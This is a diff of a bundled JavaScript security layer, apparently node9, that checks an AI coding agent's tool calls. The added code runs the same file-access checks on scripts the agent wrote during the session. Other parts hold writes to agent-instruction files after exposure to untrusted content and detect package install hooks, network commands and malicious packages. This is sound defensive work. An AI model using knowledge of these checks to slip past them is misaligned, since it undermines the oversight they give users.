+ const operands2 = shellScriptOperands(shell.command);
17515
+ if (operands2.length === 0) return null;
17516
+ const base2 = cwd ?? process.cwd();
17517
+ const byResolved = /* @__PURE__ */ new Map();
17518
+ for (const op of operands2) byResolved.set(absolute(op, base2, home), op);
17519
+ const { written } = await d.checkWritten([...byResolved.keys()]);
17520
+ for (const resolved of written) {
17521
+ const spelled = byResolved.get(resolved);
17522
+ if (spelled === void 0) continue;
17523
+ const content = d.readScript(resolved);
17524
+ if (content === null || content.trim() === "") continue;
17525
+ const scriptArgs = { command: content };
17526
+ return {
17527
+ path: spelled,
17528
+ resolved,
17529
+ args: scriptArgs,
17530
+ fileAccess: prepareFileAccesses("Bash", scriptArgs, base2, layers, home)
17531
+ };
17532
+ }
17533
+ return null;
17534
+ } catch {
17535
+ return null;
17536
+ }
17537
+ }
17538
+ function sessionWriteTargets(toolName, args, fileAccess, cwd, home = os11.homedir()) {
17539
+ const base2 = cwd ?? process.cwd();
17540
+ const out = /* @__PURE__ */ new Set();
17541
+ const argsObj = args && typeof args === "object" ? args : {};
17542
+ const named = argsObj.file_path ?? argsObj.path ?? argsObj.filename;
17543
+ if (typeof named === "string" && named && /write|edit|create|save|append/i.test(toolName))
17544
+ out.add(absolute(named, base2, home));
17545
+ for (const a of fileAccess?.accesses ?? []) {
17546
+ if (a.operation !== "write" && a.operation !== "create") continue;
17547
+ if (a.glob || a.recursive) continue;
17548
+ out.add(absolute(a.path, a.cwd ?? base2, home));
17549
+ if (out.size >= MAX_RECORDED_WRITES) break;
17550
+ }
17551
+ return [...out];
17552
+ }
17553
+ async function recordSessionWrites(toolName, args, fileAccess, cwd) {
17554
+ try {
17555
+ const targets = sessionWriteTargets(toolName, args, fileAccess, cwd);
17556
+ if (targets.length) await notifyWritten(targets);
17557
+ } catch {
17558
+ }
17559
+ }
17560
+
16239
17561
  // src/auth/orchestrator.ts
16240
17562
  init_dist();
16241
17563
  init_dist();
@@ -16243,26 +17565,26 @@ init_audit();
16243
17565
  init_dist();
16244
17566
 
16245
17567
  // src/exposure/known-hosts.ts
16246
- import fs14 from "fs";
16247
- import path16 from "path";
17568
+ import fs15 from "fs";
17569
+ import path17 from "path";
16248
17570
 
16249
17571
  // src/utils/git-remotes.ts
16250
17572
  init_dist();
16251
- import fs13 from "fs";
16252
- import path15 from "path";
17573
+ import fs14 from "fs";
17574
+ import path16 from "path";
16253
17575
  function readSmallFile(p, max) {
16254
17576
  let fd;
16255
17577
  try {
16256
- fd = fs13.openSync(p, fs13.constants.O_RDONLY | (fs13.constants.O_NOFOLLOW ?? 0));
16257
- const st = fs13.fstatSync(fd);
17578
+ fd = fs14.openSync(p, fs14.constants.O_RDONLY | (fs14.constants.O_NOFOLLOW ?? 0));
17579
+ const st = fs14.fstatSync(fd);
16258
17580
  if (!st.isFile() || st.size > max) return null;
16259
17581
  const buf = Buffer.alloc(st.size);
16260
- const n = fs13.readSync(fd, buf, 0, st.size, 0);
17582
+ const n = fs14.readSync(fd, buf, 0, st.size, 0);
16261
17583
  return buf.subarray(0, n).toString("utf8");
16262
17584
  } catch {
16263
17585
  return null;
16264
17586
  } finally {
16265
- if (fd !== void 0) fs13.closeSync(fd);
17587
+ if (fd !== void 0) fs14.closeSync(fd);
16266
17588
  }
16267
17589
  }
16268
17590
  function gitRemoteHost(url) {
@@ -16281,20 +17603,20 @@ function gitRemoteHost(url) {
16281
17603
  return null;
16282
17604
  }
16283
17605
  function findGitConfig(dir2, walkUp = true) {
16284
- let cur = path15.resolve(dir2);
17606
+ let cur = path16.resolve(dir2);
16285
17607
  for (let i = 0; i < (walkUp ? 64 : 1); i++) {
16286
- const dotGit = path15.join(cur, ".git");
16287
- const direct = readSmallFile(path15.join(dotGit, "config"), 1e6);
17608
+ const dotGit = path16.join(cur, ".git");
17609
+ const direct = readSmallFile(path16.join(dotGit, "config"), 1e6);
16288
17610
  if (direct !== null) return direct;
16289
17611
  const pointer = readSmallFile(dotGit, 4096);
16290
17612
  const m = pointer && /^gitdir:\s*(.+?)\s*$/m.exec(pointer);
16291
17613
  if (m) {
16292
- let gitDir = path15.resolve(cur, m[1]);
16293
- const common = readSmallFile(path15.join(gitDir, "commondir"), 4096);
16294
- if (common !== null) gitDir = path15.resolve(gitDir, common.trim());
16295
- return readSmallFile(path15.join(gitDir, "config"), 1e6);
17614
+ let gitDir = path16.resolve(cur, m[1]);
17615
+ const common = readSmallFile(path16.join(gitDir, "commondir"), 4096);
17616
+ if (common !== null) gitDir = path16.resolve(gitDir, common.trim());
17617
+ return readSmallFile(path16.join(gitDir, "config"), 1e6);
16296
17618
  }
16297
- const parent = path15.dirname(cur);
17619
+ const parent = path16.dirname(cur);
16298
17620
  if (parent === cur) return null;
16299
17621
  cur = parent;
16300
17622
  }
@@ -16304,12 +17626,12 @@ var cache = /* @__PURE__ */ new Map();
16304
17626
  function readGitRemotes(dir2, opts = {}) {
16305
17627
  if (!dir2) return [];
16306
17628
  const walkUp = opts.walkUp !== false;
16307
- const key = `${walkUp ? "up" : "at"}:${path15.resolve(dir2)}`;
17629
+ const key = `${walkUp ? "up" : "at"}:${path16.resolve(dir2)}`;
16308
17630
  const hit = cache.get(key);
16309
17631
  if (hit) return hit;
16310
17632
  const out = [];
16311
17633
  try {
16312
- const cfg = findGitConfig(path15.resolve(dir2), walkUp);
17634
+ const cfg = findGitConfig(path16.resolve(dir2), walkUp);
16313
17635
  if (cfg !== null) {
16314
17636
  let current = null;
16315
17637
  for (const line of cfg.split(/\r?\n/)) {
@@ -16345,15 +17667,15 @@ var ECOSYSTEMS = [
16345
17667
  ];
16346
17668
  var cache2 = /* @__PURE__ */ new Map();
16347
17669
  function manifestRoot(dir2) {
16348
- let cur = path16.resolve(dir2);
17670
+ let cur = path17.resolve(dir2);
16349
17671
  for (let i = 0; i < 64; i++) {
16350
17672
  for (const [m] of ECOSYSTEMS) {
16351
17673
  try {
16352
- if (fs14.existsSync(path16.join(cur, m))) return cur;
17674
+ if (fs15.existsSync(path17.join(cur, m))) return cur;
16353
17675
  } catch {
16354
17676
  }
16355
17677
  }
16356
- const parent = path16.dirname(cur);
17678
+ const parent = path17.dirname(cur);
16357
17679
  if (parent === cur) return null;
16358
17680
  cur = parent;
16359
17681
  }
@@ -16362,7 +17684,7 @@ function manifestRoot(dir2) {
16362
17684
  function knownProjectHosts(dir2) {
16363
17685
  const empty = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
16364
17686
  if (!dir2) return empty;
16365
- const key = path16.resolve(dir2);
17687
+ const key = path17.resolve(dir2);
16366
17688
  const hit = cache2.get(key);
16367
17689
  if (hit) return hit;
16368
17690
  const out = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
@@ -16375,10 +17697,10 @@ function knownProjectHosts(dir2) {
16375
17697
  const root = manifestRoot(key);
16376
17698
  if (root !== null) {
16377
17699
  for (const [m, registry] of ECOSYSTEMS) {
16378
- if (fs14.existsSync(path16.join(root, m))) out.hosts.add(registry);
17700
+ if (fs15.existsSync(path17.join(root, m))) out.hosts.add(registry);
16379
17701
  }
16380
17702
  try {
16381
- if (fs14.readdirSync(root).some((f) => f.endsWith(".gemspec")))
17703
+ if (fs15.readdirSync(root).some((f) => f.endsWith(".gemspec")))
16382
17704
  out.hosts.add("host:rubygems.org");
16383
17705
  } catch {
16384
17706
  }
@@ -16391,9 +17713,9 @@ function knownProjectHosts(dir2) {
16391
17713
 
16392
17714
  // src/exposure/writes.ts
16393
17715
  init_dist();
16394
- import fs15 from "fs";
16395
- import os11 from "os";
16396
- import path17 from "path";
17716
+ import fs16 from "fs";
17717
+ import os12 from "os";
17718
+ import path18 from "path";
16397
17719
  var WRITE_OPS = /* @__PURE__ */ new Set(["write", "create", "remove"]);
16398
17720
  var LIFECYCLE_RE = /"(scripts|preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack|publish|postpublish)"\s*:/;
16399
17721
  function writtenContent(args) {
@@ -16422,7 +17744,7 @@ function packageScriptsTouched(args, absPath, shellCommand) {
16422
17744
  if (typeof a.content === "string") {
16423
17745
  try {
16424
17746
  const next = JSON.parse(a.content);
16425
- const prev = JSON.parse(fs15.readFileSync(absPath, "utf8"));
17747
+ const prev = JSON.parse(fs16.readFileSync(absPath, "utf8"));
16426
17748
  return JSON.stringify(next.scripts ?? null) !== JSON.stringify(prev.scripts ?? null);
16427
17749
  } catch {
16428
17750
  return LIFECYCLE_RE.test(a.content);
@@ -16432,8 +17754,8 @@ function packageScriptsTouched(args, absPath, shellCommand) {
16432
17754
  }
16433
17755
  function judgeWritesAfterExposure(opts) {
16434
17756
  const holds = [];
16435
- const home = opts.home ?? os11.homedir();
16436
- const tmp = normalizeFilePath(os11.tmpdir());
17757
+ const home = opts.home ?? os12.homedir();
17758
+ const tmp = normalizeFilePath(os12.tmpdir());
16437
17759
  const root = opts.cwd ? normalizeFilePath(opts.cwd, "", home) : null;
16438
17760
  const seen = /* @__PURE__ */ new Set();
16439
17761
  for (const access of opts.accesses) {
@@ -16443,7 +17765,7 @@ function judgeWritesAfterExposure(opts) {
16443
17765
  seen.add(p);
16444
17766
  if (p === "/dev" || p.startsWith("/dev/")) continue;
16445
17767
  if (root !== null && isInside(root, p)) {
16446
- if (isAgentInstructionPath(p, root) && (path17.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
17768
+ if (isAgentInstructionPath(p, root) && (path18.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
16447
17769
  holds.push({ path: p, why: "agent-instruction" });
16448
17770
  continue;
16449
17771
  }
@@ -16465,25 +17787,25 @@ function judgeWritesAfterExposure(opts) {
16465
17787
 
16466
17788
  // src/exposure/marker.ts
16467
17789
  import crypto3 from "crypto";
16468
- import fs16 from "fs";
16469
- import os12 from "os";
16470
- import path18 from "path";
17790
+ import fs17 from "fs";
17791
+ import os13 from "os";
17792
+ import path19 from "path";
16471
17793
 
16472
17794
  // src/daemon/exposure-store.ts
16473
17795
  var SESSION_EXPOSURE_TTL_MS = 4 * 60 * 60 * 1e3;
16474
17796
 
16475
17797
  // src/exposure/marker.ts
16476
17798
  function dir() {
16477
- return path18.join(os12.homedir(), ".node9", "exposure-sessions");
17799
+ return path19.join(os13.homedir(), ".node9", "exposure-sessions");
16478
17800
  }
16479
17801
  function file(sessionId) {
16480
17802
  const id = crypto3.createHash("sha256").update(sessionId).digest("hex").slice(0, 32);
16481
- return path18.join(dir(), id);
17803
+ return path19.join(dir(), id);
16482
17804
  }
16483
17805
  function maybeSessionExposed(sessionId) {
16484
17806
  if (!sessionId) return false;
16485
17807
  try {
16486
- const st = fs16.statSync(file(sessionId));
17808
+ const st = fs17.statSync(file(sessionId));
16487
17809
  return Date.now() - st.mtimeMs < SESSION_EXPOSURE_TTL_MS;
16488
17810
  } catch (e) {
16489
17811
  return e.code !== "ENOENT";
@@ -16491,20 +17813,20 @@ function maybeSessionExposed(sessionId) {
16491
17813
  }
16492
17814
 
16493
17815
  // src/exposure/roles.ts
16494
- import fs18 from "fs";
17816
+ import fs19 from "fs";
16495
17817
 
16496
17818
  // src/daemon/mcp-tools.ts
16497
- import fs17 from "fs";
16498
- import path19 from "path";
16499
- import os13 from "os";
17819
+ import fs18 from "fs";
17820
+ import path20 from "path";
17821
+ import os14 from "os";
16500
17822
  function getMcpToolsFile() {
16501
- return path19.join(os13.homedir(), ".node9", "mcp-tools.json");
17823
+ return path20.join(os14.homedir(), ".node9", "mcp-tools.json");
16502
17824
  }
16503
17825
  function readMcpToolsConfig() {
16504
17826
  try {
16505
17827
  const file2 = getMcpToolsFile();
16506
- if (!fs17.existsSync(file2)) return {};
16507
- const raw = fs17.readFileSync(file2, "utf-8");
17828
+ if (!fs18.existsSync(file2)) return {};
17829
+ const raw = fs18.readFileSync(file2, "utf-8");
16508
17830
  return JSON.parse(raw);
16509
17831
  } catch {
16510
17832
  return {};
@@ -16521,7 +17843,7 @@ var inventoryCache = null;
16521
17843
  var inventoryStamp = null;
16522
17844
  function inventoryFileStamp() {
16523
17845
  try {
16524
- const st = fs18.statSync(getMcpToolsFile());
17846
+ const st = fs19.statSync(getMcpToolsFile());
16525
17847
  return `${st.mtimeMs}:${st.size}`;
16526
17848
  } catch {
16527
17849
  return "";
@@ -16606,15 +17928,15 @@ function sourceWord(toolName) {
16606
17928
 
16607
17929
  // src/auth/trusted-recipients.ts
16608
17930
  init_dist();
16609
- import fs19 from "fs";
16610
- import path20 from "path";
16611
- import os14 from "os";
17931
+ import fs20 from "fs";
17932
+ import path21 from "path";
17933
+ import os15 from "os";
16612
17934
  function getTrustedRecipientsPath() {
16613
- return path20.join(os14.homedir(), ".node9", "trusted-recipients.json");
17935
+ return path21.join(os15.homedir(), ".node9", "trusted-recipients.json");
16614
17936
  }
16615
17937
  function readTrustedRecipients() {
16616
17938
  try {
16617
- const raw = fs19.readFileSync(getTrustedRecipientsPath(), "utf8");
17939
+ const raw = fs20.readFileSync(getTrustedRecipientsPath(), "utf8");
16618
17940
  const parsed = JSON.parse(raw);
16619
17941
  return Array.isArray(parsed.entries) ? parsed.entries.filter((e) => e && typeof e.value === "string") : [];
16620
17942
  } catch {
@@ -16623,10 +17945,10 @@ function readTrustedRecipients() {
16623
17945
  }
16624
17946
  function writeTrustedRecipients(entries) {
16625
17947
  const filePath = getTrustedRecipientsPath();
16626
- fs19.mkdirSync(path20.dirname(filePath), { recursive: true });
17948
+ fs20.mkdirSync(path21.dirname(filePath), { recursive: true });
16627
17949
  const tmp = filePath + ".node9-tmp";
16628
- fs19.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
16629
- fs19.renameSync(tmp, filePath);
17950
+ fs20.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
17951
+ fs20.renameSync(tmp, filePath);
16630
17952
  }
16631
17953
  function addTrustedRecipient(raw, addedBy = "user") {
16632
17954
  const value = normalizeRecipient(raw);
@@ -16641,7 +17963,7 @@ function addTrustedRecipient(raw, addedBy = "user") {
16641
17963
  var cache3 = null;
16642
17964
  function mtimeOf() {
16643
17965
  try {
16644
- return fs19.statSync(getTrustedRecipientsPath()).mtimeMs;
17966
+ return fs20.statSync(getTrustedRecipientsPath()).mtimeMs;
16645
17967
  } catch {
16646
17968
  return 0;
16647
17969
  }
@@ -16656,28 +17978,28 @@ function isTrustedRecipient(value) {
16656
17978
 
16657
17979
  // src/auth/cloud.ts
16658
17980
  init_audit();
16659
- import fs21 from "fs";
16660
- import os15 from "os";
16661
- import path21 from "path";
17981
+ import fs22 from "fs";
17982
+ import os16 from "os";
17983
+ import path22 from "path";
16662
17984
 
16663
17985
  // src/utils/read-capped.ts
16664
- import fs20 from "fs";
17986
+ import fs21 from "fs";
16665
17987
  function readCapped(file2, maxBytes) {
16666
17988
  if (maxBytes < 0) return null;
16667
17989
  let fd;
16668
17990
  try {
16669
- fd = fs20.openSync(file2, "r");
17991
+ fd = fs21.openSync(file2, "r");
16670
17992
  } catch {
16671
17993
  return null;
16672
17994
  }
16673
17995
  try {
16674
- const st = fs20.fstatSync(fd);
17996
+ const st = fs21.fstatSync(fd);
16675
17997
  if (!st.isFile()) return null;
16676
17998
  const want = Math.min(st.size, maxBytes + 1);
16677
17999
  const buf = Buffer.alloc(want);
16678
18000
  let read = 0;
16679
18001
  while (read < want) {
16680
- const n = fs20.readSync(fd, buf, read, want - read, read);
18002
+ const n = fs21.readSync(fd, buf, read, want - read, read);
16681
18003
  if (n <= 0) break;
16682
18004
  read += n;
16683
18005
  }
@@ -16689,7 +18011,7 @@ function readCapped(file2, maxBytes) {
16689
18011
  return null;
16690
18012
  } finally {
16691
18013
  try {
16692
- fs20.closeSync(fd);
18014
+ fs21.closeSync(fd);
16693
18015
  } catch {
16694
18016
  }
16695
18017
  }
@@ -16734,7 +18056,7 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
16734
18056
  let ciContext;
16735
18057
  if (process.env.CI) {
16736
18058
  try {
16737
- const ciContextPath = path21.join(os15.homedir(), ".node9", "ci-context.json");
18059
+ const ciContextPath = path22.join(os16.homedir(), ".node9", "ci-context.json");
16738
18060
  const ci = readCappedText(ciContextPath, 1e4);
16739
18061
  if (!ci) throw new Error("ci-context.json unreadable");
16740
18062
  if (ci.truncated) throw new Error("ci-context.json exceeds 10 KB");
@@ -16776,9 +18098,9 @@ async function initNode9SaaS(toolName, args, creds, meta, riskMetadata, agentPol
16776
18098
  context: {
16777
18099
  agent: meta?.agent,
16778
18100
  mcpServer: meta?.mcpServer,
16779
- hostname: os15.hostname(),
18101
+ hostname: os16.hostname(),
16780
18102
  cwd: process.cwd(),
16781
- platform: os15.platform()
18103
+ platform: os16.platform()
16782
18104
  },
16783
18105
  // The SaaS validates riskMetadata strictly and would drop it whole on
16784
18106
  // an unknown key, so only fields its schema declares go on the wire.
@@ -16852,14 +18174,14 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
16852
18174
  });
16853
18175
  clearTimeout(timer);
16854
18176
  if (!res.ok) {
16855
- fs21.appendFileSync(
18177
+ fs22.appendFileSync(
16856
18178
  HOOK_DEBUG_LOG,
16857
18179
  `[resolve-cloud] PATCH ${safeMessage(resolveUrl, 200)} \u2192 HTTP ${res.status}
16858
18180
  `
16859
18181
  );
16860
18182
  }
16861
18183
  } catch (err) {
16862
- fs21.appendFileSync(
18184
+ fs22.appendFileSync(
16863
18185
  HOOK_DEBUG_LOG,
16864
18186
  `[resolve-cloud] PATCH failed for ${safeMessage(requestId, 64)}: ${safeMessage(err)}
16865
18187
  `
@@ -16870,16 +18192,16 @@ async function resolveNode9SaaS(requestId, creds, approved, decidedBy) {
16870
18192
  // src/loop-detector.ts
16871
18193
  init_dist();
16872
18194
  init_dist();
16873
- import fs22 from "fs";
16874
- import path22 from "path";
16875
- import os16 from "os";
18195
+ import fs23 from "fs";
18196
+ import path23 from "path";
18197
+ import os17 from "os";
16876
18198
  function loopStateFile() {
16877
- return path22.join(os16.homedir(), ".node9", "loop-state.json");
18199
+ return path23.join(os17.homedir(), ".node9", "loop-state.json");
16878
18200
  }
16879
18201
  function readState() {
16880
18202
  try {
16881
- if (!fs22.existsSync(loopStateFile())) return [];
16882
- const raw = fs22.readFileSync(loopStateFile(), "utf-8");
18203
+ if (!fs23.existsSync(loopStateFile())) return [];
18204
+ const raw = fs23.readFileSync(loopStateFile(), "utf-8");
16883
18205
  const parsed = JSON.parse(raw);
16884
18206
  if (!Array.isArray(parsed)) return [];
16885
18207
  return parsed;
@@ -16888,11 +18210,11 @@ function readState() {
16888
18210
  }
16889
18211
  }
16890
18212
  function writeState(records) {
16891
- const dir2 = path22.dirname(loopStateFile());
16892
- if (!fs22.existsSync(dir2)) fs22.mkdirSync(dir2, { recursive: true });
16893
- const tmpPath = `${loopStateFile()}.${os16.hostname()}.${process.pid}.tmp`;
16894
- fs22.writeFileSync(tmpPath, JSON.stringify(records));
16895
- fs22.renameSync(tmpPath, loopStateFile());
18213
+ const dir2 = path23.dirname(loopStateFile());
18214
+ if (!fs23.existsSync(dir2)) fs23.mkdirSync(dir2, { recursive: true });
18215
+ const tmpPath = `${loopStateFile()}.${os17.hostname()}.${process.pid}.tmp`;
18216
+ fs23.writeFileSync(tmpPath, JSON.stringify(records));
18217
+ fs23.renameSync(tmpPath, loopStateFile());
16896
18218
  }
16897
18219
  function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
16898
18220
  try {
@@ -16907,20 +18229,20 @@ function recordAndCheck(tool, args, threshold = 3, windowMs = 12e4) {
16907
18229
  // src/supply-chain/check.ts
16908
18230
  init_dist();
16909
18231
  import picomatch2 from "picomatch";
16910
- import path25 from "path";
18232
+ import path26 from "path";
16911
18233
 
16912
18234
  // src/supply-chain/osv-index.ts
16913
18235
  init_dist();
16914
- import fs23 from "fs";
16915
- import os17 from "os";
16916
- import path23 from "path";
18236
+ import fs24 from "fs";
18237
+ import os18 from "os";
18238
+ import path24 from "path";
16917
18239
  import { createHash as createHash4 } from "crypto";
16918
18240
  var INDEX_FRESH_MS = 72 * 60 * 60 * 1e3;
16919
18241
  function osvRoot() {
16920
- return path23.join(os17.homedir(), ".node9", "osv");
18242
+ return path24.join(os18.homedir(), ".node9", "osv");
16921
18243
  }
16922
18244
  function ecoDir(eco) {
16923
- return path23.join(osvRoot(), eco);
18245
+ return path24.join(osvRoot(), eco);
16924
18246
  }
16925
18247
  function indexKey(eco, name) {
16926
18248
  switch (eco) {
@@ -16939,11 +18261,11 @@ function shardOf(key) {
16939
18261
  return createHash4("sha1").update(key).digest("hex").slice(0, 2);
16940
18262
  }
16941
18263
  function shardPath(eco, shard) {
16942
- return path23.join(ecoDir(eco), "shards", `${shard}.json`);
18264
+ return path24.join(ecoDir(eco), "shards", `${shard}.json`);
16943
18265
  }
16944
18266
  function readMeta(eco) {
16945
18267
  try {
16946
- const m = JSON.parse(fs23.readFileSync(path23.join(ecoDir(eco), "meta.json"), "utf8"));
18268
+ const m = JSON.parse(fs24.readFileSync(path24.join(ecoDir(eco), "meta.json"), "utf8"));
16947
18269
  if (typeof m?.syncedAt !== "string" || typeof m?.lastModifiedMs !== "number") return null;
16948
18270
  return m;
16949
18271
  } catch {
@@ -16952,7 +18274,7 @@ function readMeta(eco) {
16952
18274
  }
16953
18275
  function readShard(eco, shard) {
16954
18276
  try {
16955
- const s = JSON.parse(fs23.readFileSync(shardPath(eco, shard), "utf8"));
18277
+ const s = JSON.parse(fs24.readFileSync(shardPath(eco, shard), "utf8"));
16956
18278
  return s && typeof s === "object" && !Array.isArray(s) ? s : {};
16957
18279
  } catch {
16958
18280
  return {};
@@ -17081,21 +18403,48 @@ async function queryOsvMalicious(queries) {
17081
18403
  import { maxSatisfying, satisfies, validRange } from "semver";
17082
18404
  var TIMEOUT_MS2 = 1500;
17083
18405
  var MAX_BYTES = 2 * 1024 * 1024;
18406
+ var VERSION_DOC_MAX_BYTES = 256 * 1024;
18407
+ var INSTALL_SCRIPTS = ["preinstall", "install", "postinstall"];
18408
+ async function npmVersionDocument(url, selector) {
18409
+ const doc = await fetchJson(`${url}/${encodeURIComponent(selector)}`, {
18410
+ timeoutMs: TIMEOUT_MS2,
18411
+ maxBytes: VERSION_DOC_MAX_BYTES
18412
+ });
18413
+ if (!doc?.version) return null;
18414
+ const scripts = doc.scripts ?? {};
18415
+ return {
18416
+ version: doc.version,
18417
+ hasInstallScript: INSTALL_SCRIPTS.some(
18418
+ (k) => typeof scripts[k] === "string" && scripts[k].length > 0
18419
+ ),
18420
+ ageFallback: `abbreviated document over the size cap; version read from /${selector}, which has no publish time`
18421
+ };
18422
+ }
17084
18423
  async function npmInfo(name, version, freshWindowMs, raw) {
17085
18424
  const base2 = endpoints().npmRegistry;
17086
18425
  if (!base2) return null;
17087
18426
  const url = `${base2}/${name.replaceAll("/", "%2F")}`;
17088
- const doc = await fetchJson(url, {
17089
- timeoutMs: TIMEOUT_MS2,
17090
- maxBytes: MAX_BYTES,
17091
- headers: { Accept: "application/vnd.npm.install-v1+json" }
17092
- });
17093
- if (!doc) return null;
17094
- const latest = doc["dist-tags"]?.latest;
17095
18427
  const aliasStart = raw?.indexOf("@npm:") ?? -1;
17096
18428
  const target = aliasStart > 0 ? raw.slice(aliasStart + 5) : raw?.replace(/^npm:/, "");
17097
18429
  const specStart = target?.indexOf("@", 1) ?? -1;
17098
18430
  const spec = specStart > 0 ? target.slice(specStart + 1) : "";
18431
+ let doc;
18432
+ try {
18433
+ doc = await fetchJson(url, {
18434
+ timeoutMs: TIMEOUT_MS2,
18435
+ maxBytes: MAX_BYTES,
18436
+ headers: { Accept: "application/vnd.npm.install-v1+json" }
18437
+ });
18438
+ } catch (err) {
18439
+ if (!/too large/.test(err.message)) throw err;
18440
+ const range = !version && spec && validRange(spec) ? spec : null;
18441
+ const selector = version ?? (spec && !range ? spec : "latest");
18442
+ const info2 = await npmVersionDocument(url, selector);
18443
+ if (info2 && range && !satisfies(info2.version, range)) return null;
18444
+ return info2;
18445
+ }
18446
+ if (!doc) return null;
18447
+ const latest = doc["dist-tags"]?.latest;
17099
18448
  let resolved = version;
17100
18449
  if (!resolved) {
17101
18450
  if (!spec) resolved = latest;
@@ -17152,19 +18501,19 @@ async function registryInfo(eco, name, version, freshWindowMs, raw) {
17152
18501
  }
17153
18502
 
17154
18503
  // src/supply-chain/local-resolve.ts
17155
- import fs24 from "fs";
17156
- import path24 from "path";
18504
+ import fs25 from "fs";
18505
+ import path25 from "path";
17157
18506
  var MAX_LEVELS = 32;
17158
18507
  var LOCAL_FIRST_MANAGERS = /* @__PURE__ */ new Set(["npx", "bunx", "npm exec"]);
17159
18508
  function resolveInstalled(name, cwd) {
17160
- if (!cwd || !path24.isAbsolute(cwd)) return null;
18509
+ if (!cwd || !path25.isAbsolute(cwd)) return null;
17161
18510
  if (!/^(?:@[^/\\]+\/)?[^/\\]+$/.test(name)) return null;
17162
- let dir2 = path24.resolve(cwd);
18511
+ let dir2 = path25.resolve(cwd);
17163
18512
  for (let i = 0; i < MAX_LEVELS; i++) {
17164
- const pkgDir = path24.join(dir2, "node_modules", ...name.split("/"));
17165
- const manifest = path24.join(pkgDir, "package.json");
18513
+ const pkgDir = path25.join(dir2, "node_modules", ...name.split("/"));
18514
+ const manifest = path25.join(pkgDir, "package.json");
17166
18515
  try {
17167
- const raw = fs24.readFileSync(manifest, "utf8");
18516
+ const raw = fs25.readFileSync(manifest, "utf8");
17168
18517
  const parsed = JSON.parse(raw);
17169
18518
  if (typeof parsed.version === "string" && parsed.version.length > 0) {
17170
18519
  return { version: parsed.version, dir: pkgDir };
@@ -17172,7 +18521,7 @@ function resolveInstalled(name, cwd) {
17172
18521
  return null;
17173
18522
  } catch {
17174
18523
  }
17175
- const parent = path24.dirname(dir2);
18524
+ const parent = path25.dirname(dir2);
17176
18525
  if (parent === dir2) break;
17177
18526
  dir2 = parent;
17178
18527
  }
@@ -17294,7 +18643,7 @@ function checkInstalled(p, version, misses) {
17294
18643
  }
17295
18644
  async function checkOne(p, cfg, misses, networkCapped, cwd) {
17296
18645
  if (p.ecosystem === "npm" && LOCAL_FIRST_MANAGERS.has(p.manager) && p.localCwd !== null && (p.raw === p.name || p.version)) {
17297
- const localCwd = cwd && path25.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => path25.resolve(dir2, step), cwd) : void 0;
18646
+ const localCwd = cwd && path26.isAbsolute(cwd) ? (p.localCwd ?? []).reduce((dir2, step) => path26.resolve(dir2, step), cwd) : void 0;
17298
18647
  const installed = resolveInstalled(p.name, localCwd);
17299
18648
  if (installed && (!p.version || p.version === installed.version))
17300
18649
  return checkInstalled(p, installed.version, misses);
@@ -17309,7 +18658,7 @@ async function checkOne(p, cfg, misses, networkCapped, cwd) {
17309
18658
  if (!info) misses.push(`${label(p, p.version)}: registry metadata unavailable`);
17310
18659
  else if (info.ageFallback)
17311
18660
  misses.push(
17312
- `${label(p, info.version)}: age from the package modified time (${info.ageFallback})`
18661
+ `${label(p, info.version)}: ${info.publishedAtMs === void 0 ? "publish time unavailable" : "age from the package modified time"} (${info.ageFallback})`
17313
18662
  );
17314
18663
  } catch (err) {
17315
18664
  misses.push(`${label(p, p.version)}: registry ${err.message}`);
@@ -17536,6 +18885,15 @@ var WRITE_TOOLS = /* @__PURE__ */ new Set([
17536
18885
  "notebook_edit",
17537
18886
  "notebookedit"
17538
18887
  ]);
18888
+ var VERDICT_RANK2 = { allow: 0, review: 1, block: 2 };
18889
+ function fromScript(v, script) {
18890
+ const inScript = (text) => `In ${script}, a script written this session: ${text ?? "the shell checks asked for a review"}`;
18891
+ return {
18892
+ ...v,
18893
+ reason: inScript(v.reason),
18894
+ ruleDescription: inScript(v.ruleDescription ?? v.reason)
18895
+ };
18896
+ }
17539
18897
  function isWriteTool(toolName) {
17540
18898
  const t = toolName.toLowerCase().replace(/[^a-z_]/g, "_");
17541
18899
  return WRITE_TOOLS.has(t);
@@ -17685,6 +19043,20 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17685
19043
  fileFinding = isManual ? null : incompleteFileVerdict();
17686
19044
  }
17687
19045
  const shellInput = resolveShellInput(toolName, args, inspectionLayers(config.policy));
19046
+ if (!isManual) await recordSessionWrites(toolName, args, fileAccess, options?.cwd);
19047
+ const sessionScript = isManual ? null : await resolveSessionScript(toolName, args, options?.cwd, inspectionLayers(config.policy));
19048
+ if (sessionScript) {
19049
+ try {
19050
+ const inner = evaluateProtectedFileAccess(
19051
+ sessionScript.fileAccess.accesses,
19052
+ sessionScript.fileAccess,
19053
+ catalogSettingsFromConfig(config.settings, config.policy)
19054
+ );
19055
+ if (inner && (!fileFinding || VERDICT_RANK2[inner.decision] > VERDICT_RANK2[fileFinding.decision]))
19056
+ fileFinding = fromScript(inner, sessionScript.path);
19057
+ } catch {
19058
+ }
19059
+ }
17688
19060
  const networkShell = shellInput.kind === "shell" && NETWORK_COMMAND_RE.test(shellInput.command);
17689
19061
  const shellReview = !isManual && shellInput.kind === "uninspectable";
17690
19062
  if (shellReview) {
@@ -17693,12 +19065,22 @@ async function _authorizeHeadlessCore(toolName, args, metaArg, options) {
17693
19065
  policyRuleDescription = "The executable command could not be inspected. Approve this call explicitly.";
17694
19066
  }
17695
19067
  const fileReview = !isObserveMode && config.settings.mode !== "audit" && fileFinding?.decision === "review";
17696
- const evaluateCurrentPolicy = (skipIgnoredFastPath = false) => evaluatePolicy2(toolName, args, meta?.agent, options?.cwd, {
17697
- fileAccess,
17698
- config,
17699
- skipIgnoredFastPath,
17700
